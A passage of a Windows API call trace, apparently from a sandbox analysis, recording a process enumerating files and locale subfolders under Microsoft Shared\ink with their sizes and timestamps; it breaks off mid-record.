hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63de1b63, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x63de1b63, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2a991650, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x17200, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0217.644] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d546fc, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d546fc, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0217.645] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0217.645] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0217.645] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0217.645] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0217.646] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0217.646] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0217.647] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0217.647] GetProcessHeap () returned 0x560000 [0217.647] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.647] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.647] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.648] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9e26c68, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea015e21, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea015e21, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.648] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.648] GetProcessHeap () returned 0x560000 [0217.648] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.648] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0217.649] GetProcessHeap () returned 0x560000 [0217.649] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.649] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.649] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.649] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.649] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe68981a0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe6aad4b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe6aad4b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.649] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.650] GetProcessHeap () returned 0x560000 [0217.650] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.650] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b45ecf9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8b45ecf9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x2b0dd120, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x14de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="journal.dll", cAlternateFileName="")) returned 1 [0217.650] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0217.650] GetProcessHeap () returned 0x560000 [0217.650] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.651] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.651] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.651] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.651] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.651] GetProcessHeap () returned 0x560000 [0217.652] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0217.652] GetProcessHeap () returned 0x560000 [0217.652] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.652] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.652] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.653] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.653] GetProcessHeap () returned 0x560000 [0217.653] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.653] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0217.653] GetProcessHeap () returned 0x560000 [0217.653] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.653] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.654] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0217.654] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0217.654] FindClose (in: hFindFile=0x65bc48 | out: hFindFile=0x65bc48) returned 1 [0217.654] GetProcessHeap () returned 0x560000 [0217.654] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2ba9a68 | out: hHeap=0x560000) returned 1 [0217.654] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0217.655] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0217.655] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0217.655] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0217.656] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0217.656] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0217.656] FindNextFileW (in: hFindFile=0x65bbc8, lpFindFileData=0x2cfed28 | out: lpFindFileData=0x2cfed28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0217.657] GetProcessHeap () returned 0x560000 [0217.657] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x2ba9a68 [0217.657] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x65bc48 [0217.657] FindNextFileW (in: hFindFile=0x65bc48, lpFindFileData=0x2cfeaa0 | out: lpFindFileData=0x2cfeaa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, 